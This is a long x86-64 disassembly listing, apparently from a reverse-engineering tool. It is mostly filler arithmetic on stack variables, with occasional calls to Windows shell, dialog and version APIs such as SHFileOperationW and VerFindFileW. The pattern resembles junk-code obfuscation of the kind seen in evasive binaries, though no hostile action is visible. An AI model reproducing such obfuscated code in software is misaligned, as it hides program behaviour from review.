mov rax, qword [rsp + 0xe7f8]
mov rcx, qword [rsp + 0xe5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xf048], rax
lea rax, [rsp + 0x2c68]
mov qword [rsp + 0xf700], rax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e94]
and eax, ecx
mov word [0x14019d1d8], ax
mov rax, qword [rsp + 0xdb98]
mov rcx, qword [rsp + 0xb580]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xf000], rax
movzx eax, word [rsp + 0x19ac]
mov word [rsp + 0x3110], ax
mov rax, qword [rsp + 0xe820]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58f]
sar eax, cl
mov rcx, qword [rsp + 0xea38]
mov byte [rcx], al
mov eax, dword [rsp + 0x6ee8]
mov rcx, qword [rsp + 0xf468]
mov qword [rsp + 0xf708], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf708]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x59f0], eax
mov rax, qword [rsp + 0xe8a8]
mov eax, dword [rax]
mov dword [rsp + 0x71cc], eax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdef0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
mov rcx, qword [0x14019f320]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x24a], al
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe598]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2de8], ax
mov rax, qword [rsp + 0xf1e8]
movzx eax, word [rax]
mov word [0x14019f678], ax
mov rax, qword [rsp + 0xed10]
mov rcx, qword [rsp + 0xe080]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd868], rax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov qword [rsp + 0xf710], rax
mov rax, qword [rsp + 0xdb70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd7d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xf1f8]
movzx eax, word [rax]
mov rcx, qword [0x14019f018]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ffc], ax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xec28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x542], al
mov rax, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0x9b50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xde20], rax
mov eax, dword [rsp + 0x71c4]
mov dword [rsp + 0x71d0], eax
mov rax, qword [rsp + 0xe808]
mov rcx, qword [rsp + 0xe6d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd220], rax
movsx eax, word [rsp + 0x2f4c]
mov rcx, qword [0x14019f190]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14019d2c4], ax
movzx eax, word [rsp + 0x225c]
mov word [rsp + 0x3114], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf138]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x295], al
mov rax, qword [rsp + 0xe970]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5850]
sar eax, cl
mov dword [rsp + 0x6b98], eax
mov rax, qword [rsp + 0xa648]
mov rcx, qword [rsp + 0xd890]
mov qword [rsp + 0xf718], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf718]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcaf0], rax
mov eax, dword [rsp + 0x6ddc]
mov ecx, dword [rsp + 0x6f2c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5870], eax
movzx eax, byte [rsp + 0x520]
mov byte [rsp + 0x5c7], al
mov rax, qword [rsp + 0xdb10]
mov rcx, qword [rsp + 0xd9a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc210], rax
movsx eax, word [rsp + 0x2794]
mov rcx, qword [rsp + 0xe1b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x288c], ax
movzx eax, word [rsp + 0x2a10]
movzx ecx, word [rsp + 0x1d98]
add eax, ecx
mov word [0x14019f438], ax
mov rax, qword [rsp + 0xe9e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa678], rax
movzx eax, word [0x14019f090]
movzx ecx, word [rsp + 0x2390]
sar eax, cl
mov word [rsp + 0x2e14], ax
mov rax, qword [rsp + 0xe348]
movzx eax, word [rax]
mov word [rsp + 0x3118], ax
mov rax, qword [rsp + 0xd950]
movzx ecx, al
mov rax, qword [rsp + 0xec88]
shl rax, cl
mov qword [rsp + 0x9428], rax
mov rax, qword [rsp + 0xf538]
mov rax, qword [rax]
mov qword [rsp + 0xf720], rax
movsx eax, byte [rsp + 0x26c]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x54c], al
mov rax, qword [rsp + 0xeba0]
mov rcx, qword [rsp + 0xd960]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5f68], eax
movzx eax, word [rsp + 0x2edc]
mov rcx, qword [rsp + 0xebb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x284c], ax
mov rax, qword [rsp + 0x9b10]
mov qword [0x14019f680], rax
mov rax, qword [rsp + 0xe370]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5ac]
sub eax, ecx
mov byte [rsp + 0x528], al
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov dword [rsp + 0x71d4], eax
movsx eax, word [rsp + 0x1578]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd770]
mov word [rcx], ax
mov rcx, qword [rsp + 0xf728]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x6d18], eax
movzx eax, word [rsp + 0x2ea0]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x30d4], ax
mov rax, qword [rsp + 0xf0f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xeb78]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x46d], al
mov rax, qword [rsp + 0xeaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb78]
mov qword [rsp + 0xf730], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf730]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa980], rax
mov rax, qword [rsp + 0xe6e8]
mov eax, dword [rax]
mov dword [rsp + 0x71d8], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1248]
sub eax, ecx
mov word [rsp + 0xedc], ax
lea rax, [rsp + 0x24fc]
mov qword [0x14019f688], rax
mov rax, qword [rsp + 0xdbc0]
mov rcx, qword [rsp + 0xe758]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb628], rax
mov rax, qword [rsp + 0xf5d0]
mov rcx, qword [rsp + 0xf6e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd940]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe6b8]
mov rcx, qword [rsp + 0xd288]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe808]
mov qword [rcx], rax
movzx eax, word [0x14019eff8]
mov word [rsp + 0x311c], ax
mov r8d, 1
lea rdx, [rsp + 0xcf00]
lea rcx, [rsp + 0x21990]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xcf78], rax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x716c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf4b0]
mov rax, qword [rax]
mov qword [rsp + 0xf738], rax
movsx eax, byte [0x14019ef96]
movsx ecx, byte [rsp + 0x54c]
or eax, ecx
mov byte [rsp + 0x405], al
mov rax, qword [rsp + 0xe708]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe550]
mov qword [rsp + 0xf740], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf740]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6f90], eax
movzx eax, byte [rsp + 0x552]
mov rcx, qword [rsp + 0xea38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x416], al
movsx eax, word [rsp + 0x14b0]
movsx ecx, word [rsp + 0x2fb0]
and eax, ecx
mov word [0x14019f5dc], ax
lea rcx, [rsp + 0x1e138]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x6d04], eax
movzx eax, word [rsp + 0x2c6c]
mov rcx, qword [rsp + 0xe4a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x284c], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov word [rsp + 0x3120], ax
mov rdx, qword [rsp + 0xce20]
lea rcx, [rsp + 0x216d0]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x6c38], eax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [rsp + 0xec50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xde38], rax
mov rax, qword [rsp + 0xeac8]
mov rcx, qword [rsp + 0xd610]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd5d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov rcx, qword [0x14019f158]
mov qword [rsp + 0xf748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf748]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x67e0], eax
movsx eax, byte [rsp + 0x317]
mov rcx, qword [rsp + 0xea28]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xeb18]
mov byte [rcx], al
movzx eax, word [0x14019d0cc]
mov word [rsp + 0x3124], ax
movzx eax, word [rsp + 0x2d38]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xf260]
mov word [rcx], ax
mov rax, qword [rsp + 0xe808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb088]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d340], rax
movzx eax, word [rsp + 0x2f3c]
mov word [rsp + 0x3128], ax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd7e0], rax
mov rax, qword [rsp + 0xddf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa830]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa678], rax
mov rax, qword [rsp + 0xdd50]
mov rcx, qword [rsp + 0xdd00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x66a0], eax
lea rcx, [rsp + 0x1e600]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0xf750], rax
movsx eax, byte [rsp + 0x42c]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xea28]
mov byte [rcx], al
mov rax, qword [rsp + 0xf398]
mov eax, dword [rax]
mov dword [rsp + 0x71dc], eax
mov rax, qword [rsp + 0xf668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x416]
and eax, ecx
mov byte [rsp + 0x53c], al
mov rax, qword [rsp + 0xe9a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd410]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xf588], rax
mov rax, qword [0x14019f660]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13cc]
sar eax, cl
mov word [0x14019f5f8], ax
movsx eax, word [rsp + 0x2ea8]
movsx ecx, word [rsp + 0x1df0]
shl eax, cl
mov word [rsp + 0x2150], ax
movzx eax, word [rsp + 0x2ef0]
movzx ecx, word [rsp + 0x1d98]
or eax, ecx
mov word [rsp + 0x2d08], ax
movzx eax, word [rsp + 0x1eb4]
mov word [rsp + 0x312c], ax
mov rax, qword [rsp + 0xd058]
imul eax, dword [rax], 0x68db
mov dword [rsp + 0x7170], eax
mov rax, qword [rsp + 0xf538]
mov rcx, qword [rsp + 0xedd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa980], rax
lea rax, [rsp + 0x583]
mov qword [rsp + 0xf758], rax
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d00]
or eax, ecx
mov word [rsp + 0x2df4], ax
movzx eax, word [rsp + 0x1660]
mov word [rsp + 0x3130], ax
mov rax, qword [rsp + 0xb148]
mov qword [0x14019f690], rax
mov rax, qword [rsp + 0xf1d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1c0]
mov qword [rsp + 0xf760], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf760]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xde60], rax
mov rax, qword [0x14019f448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf480]
mov qword [rsp + 0xf768], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf768]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xea80]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd450]
mov rcx, qword [rsp + 0xa830]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa798], rax
movzx eax, word [rsp + 0x1634]
mov rcx, qword [rsp + 0xebb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d20], ax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov dword [rsp + 0x71e0], eax
movzx eax, byte [rsp + 0x3b1]
movzx ecx, byte [rsp + 0x3f0]
add eax, ecx
mov byte [rsp + 0x56e], al
mov rax, qword [rsp + 0xe328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xee30]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x438], al
mov rax, qword [0x14019f0f8]
mov rcx, qword [rsp + 0xe580]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe470], rax
mov rax, qword [rsp + 0xe7e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6ebc]
shr eax, cl
mov dword [0x14019d0b0], eax
mov rax, qword [rsp + 0xe3f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3080], ax
movzx eax, word [rsp + 0x1e1c]
mov word [rsp + 0x3134], ax
movzx eax, word [rsp + 0xd8c]
movzx ecx, word [rsp + 0x1ffc]
or eax, ecx
mov word [rsp + 0x2afc], ax
mov rax, qword [rsp + 0xf350]
mov qword [rsp + 0xf770], rax
mov rax, qword [0x14019f340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe450]
mov byte [rcx], al
mov rax, qword [rsp + 0xe9a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xeaa8]
mov qword [rcx], rax
mov rax, qword [0x14019efc8]
mov ecx, dword [rsp + 0x5aa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a08], eax
mov rax, qword [rsp + 0xe3c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a6c], ax
movzx eax, word [rsp + 0x2bf0]
movzx ecx, word [rsp + 0x2678]
or eax, ecx
mov word [0x14019d348], ax
mov rax, qword [rsp + 0xf6e0]
mov qword [rsp + 0xf778], rax
movzx eax, word [rsp + 0x2ac4]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ff8], ax
mov rax, qword [rsp + 0xdd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5cac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f10], eax
movzx eax, byte [rsp + 0x527]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2dc], al
mov rax, qword [rsp + 0xea00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe780]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd08], rax
mov rax, qword [0x14019f340]
movzx eax, byte [rax]
mov byte [rsp + 0x5c8], al
xor edx, edx
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
div dword [rsp + 0x7004]
mov dword [rsp + 0x6e58], eax
mov rax, qword [rsp + 0xf6f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xecc8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2d00], ax
movzx eax, word [rsp + 0x2fe4]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019f2f0], ax
mov rax, qword [rsp + 0xba30]
movzx ecx, al
mov rax, qword [rsp + 0xeb90]
sar rax, cl
mov qword [rsp + 0xa118], rax
mov rax, qword [rsp + 0xc7a0]
movzx ecx, al
mov rax, qword [rsp + 0xb400]
shl rax, cl
mov qword [rsp + 0xc418], rax
lea rax, [rsp + 0x30f0]
mov qword [rsp + 0xf780], rax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca8]
sub eax, ecx
mov word [rsp + 0x1c6c], ax
lea rax, [rsp + 0xea60]
mov qword [rsp + 0xf788], rax
mov rax, qword [rsp + 0xea28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51b]
add eax, ecx
mov byte [rsp + 0x2fb], al
mov eax, dword [rsp + 0x58ac]
mov ecx, dword [rsp + 0x6da0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6de8], eax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov qword [rsp + 0xf790], rax
movsx eax, word [rsp + 0x2ef4]
movsx ecx, word [rsp + 0x151c]
sub eax, ecx
mov word [0x14019f20c], ax
mov rax, qword [rsp + 0xf6e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b24]
sar eax, cl
mov word [rsp + 0x2ad0], ax
movzx eax, byte [rsp + 0x501]
mov byte [rsp + 0x5c9], al
mov rax, qword [rsp + 0xdd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5c48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x67bc], eax
mov rax, qword [0x14019d2f0]
mov rcx, qword [rsp + 0xf1d0]
mov qword [rsp + 0xf798], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf798]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xad88], rax
mov rax, qword [rsp + 0xdea8]
mov rcx, qword [rsp + 0xeaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc980], rax
mov rax, qword [rsp + 0xedf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7014], eax
mov rax, qword [rsp + 0xdd48]
movzx eax, byte [rax]
mov byte [rsp + 0x5ca], al
movsx eax, word [rsp + 0x2efc]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c24], ax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
mov word [0x14019f698], ax
lea rax, [rsp + 0x6d38]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xf618]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe6e0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e058]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xf7a0]
mov r8, qword [rsp + 0xd1f8]
mov rdx, qword [rsp + 0xe4e0]
mov ecx, 0xc5
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x6e04], eax
mov rax, qword [0x14019d160]
mov rcx, qword [rsp + 0xacf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc130], rax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2434]
sub eax, ecx
mov word [rsp + 0x1a1c], ax
movsx eax, word [rsp + 0x10c8]
mov rcx, qword [0x14019f4c8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x178c], ax
mov rax, qword [rsp + 0x9158]
mov qword [rsp + 0xf7a8], rax
movsx eax, byte [rsp + 0x510]
movsx ecx, byte [rsp + 0x5a1]
shl eax, cl
mov byte [rsp + 0x54e], al
mov rax, qword [rsp + 0xa498]
mov qword [rsp + 0xf7b0], rax
mov eax, dword [rsp + 0x6454]
mov ecx, dword [rsp + 0x7154]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x710c], eax
movzx eax, word [rsp + 0x2ac4]
mov rcx, qword [rsp + 0xf528]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd148]
mov word [rcx], ax
mov rax, qword [rsp + 0x9310]
mov qword [0x14019f6a0], rax
mov rax, qword [rsp + 0xea58]
mov ecx, dword [rsp + 0x64d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b48], eax
movzx eax, byte [rsp + 0x57b]
movzx ecx, byte [rsp + 0x105]
add eax, ecx
mov byte [rsp + 0x581], al
mov rax, qword [rsp + 0xde90]
movzx eax, word [rax]
mov word [rsp + 0x3138], ax
movzx eax, word [0x14019d248]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov rax, qword [rsp + 0xf3b0]
mov rcx, qword [rsp + 0xea00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc430], rax
mov rax, qword [rsp + 0xeff0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe1f0]
mov qword [rsp + 0xf7b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf7b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6270], eax
mov rax, qword [rsp + 0xe058]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x58a]
and eax, ecx
mov byte [rsp + 0x572], al
lea rax, [rsp + 0x2e58]
mov qword [rsp + 0xf7c0], rax
movzx eax, word [rsp + 0x1fbc]
mov rcx, qword [rsp + 0xebb8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14019f510]
mov word [rcx], ax
mov rax, qword [rsp + 0xc808]
mov rcx, qword [rsp + 0xbe80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa080], rax
mov rax, qword [0x14019f5f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf1a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xec20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xedd0]
mov rax, qword [rax]
mov qword [rsp + 0xf7c8], rax
mov rax, qword [rsp + 0xf7c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xf470]
mov word [rcx], ax
mov rax, qword [rsp + 0xde78]
mov eax, dword [rax]
mov dword [rsp + 0x71e4], eax
mov rax, qword [rsp + 0xe140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe340]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x328], al
mov rax, qword [rsp + 0xe9a0]
mov rcx, qword [rsp + 0xc188]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9400], rax
movzx eax, byte [rsp + 0x504]
mov rcx, qword [rsp + 0xf2a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x33b], al
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x633c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6104], eax
movsx eax, word [rsp + 0x2cdc]
movsx ecx, word [rsp + 0x29ac]
add eax, ecx
mov word [0x14019d34c], ax
mov rax, qword [rsp + 0xeed0]
movzx eax, word [rax]
mov word [rsp + 0x313c], ax
mov rax, qword [rsp + 0xf090]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d28], ax
lea rcx, [rsp + 0x202f0]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x6fb8], eax
mov rax, qword [0x14019f070]
mov rcx, qword [rsp + 0xa118]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9630], rax
movsx eax, byte [rsp + 0x1ae]
movsx ecx, byte [rsp + 0x579]
shl eax, cl
mov byte [rsp + 0x53a], al
mov rax, qword [rsp + 0xe5a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe278]
mov qword [rsp + 0xf7d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf7d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xdca0], rax
mov rax, qword [rsp + 0xf628]
mov eax, dword [rax]
mov dword [rsp + 0x71e8], eax
movsx eax, word [rsp + 0x2a90]
movsx ecx, word [rsp + 0x15b8]
xor eax, ecx
mov word [rsp + 0x2fc8], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf3b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1208], ax
mov rax, qword [rsp + 0xc880]
mov rcx, qword [rsp + 0xcf80]
or rcx, rax
mov rax, rcx
mov qword [0x14019d1a0], rax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0x2abc]
sub eax, ecx
mov rcx, qword [rsp + 0xd620]
mov word [rcx], ax
mov rax, qword [0x14019f150]
mov rcx, qword [rsp + 0xe810]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xdfe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa080]
mov qword [rsp + 0xf7d8], rax
mov rax, qword [rsp + 0xe5d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x564]
sar eax, cl
mov byte [rsp + 0x2ba], al
mov rax, qword [rsp + 0xe7f8]
mov rax, qword [rax]
mov qword [rsp + 0xf7e0], rax
mov eax, dword [rsp + 0x6e24]
mov rcx, qword [rsp + 0xf638]
mov qword [rsp + 0xf7e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf7e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6920], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x527]
or eax, ecx
mov byte [rsp + 0x51a], al
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ffc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6438], eax
mov rax, qword [rsp + 0xe6a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3044]
add eax, ecx
mov word [0x14019d110], ax
mov rax, qword [rsp + 0xddb8]
movsx eax, word [rax]
mov rcx, qword [0x14019f288]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xecc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xf4f0]
movzx eax, word [rax]
mov word [rsp + 0x3140], ax
movzx eax, word [rsp + 0x2e38]
movzx ecx, word [rsp + 0x3128]
add eax, ecx
mov word [rsp + 0xce0], ax
mov rax, qword [rsp + 0xf0b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf0f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3b2], al
mov rax, qword [rsp + 0xf6b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdcf0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc670], rax
mov rax, qword [rsp + 0xdd50]
mov rcx, qword [rsp + 0xd198]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x58c8], eax
lea rax, [rsp + 0x2c8c]
mov qword [rsp + 0xf7f0], rax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x30c0]
or eax, ecx
mov word [rsp + 0x2f98], ax
mov rax, qword [rsp + 0xc130]
mov qword [0x14019f6a8], rax
mov rax, qword [rsp + 0xe3a8]
mov rax, qword [rax]
mov qword [rsp + 0xf7f8], rax
mov rax, qword [rsp + 0xabd0]
mov rcx, qword [rsp + 0xdd30]
mov qword [rsp + 0xf800], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf800]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xdd90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd9d0]
mov qword [rsp + 0xf808], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf808]
mov rax, qword [rax]
sar rax, cl
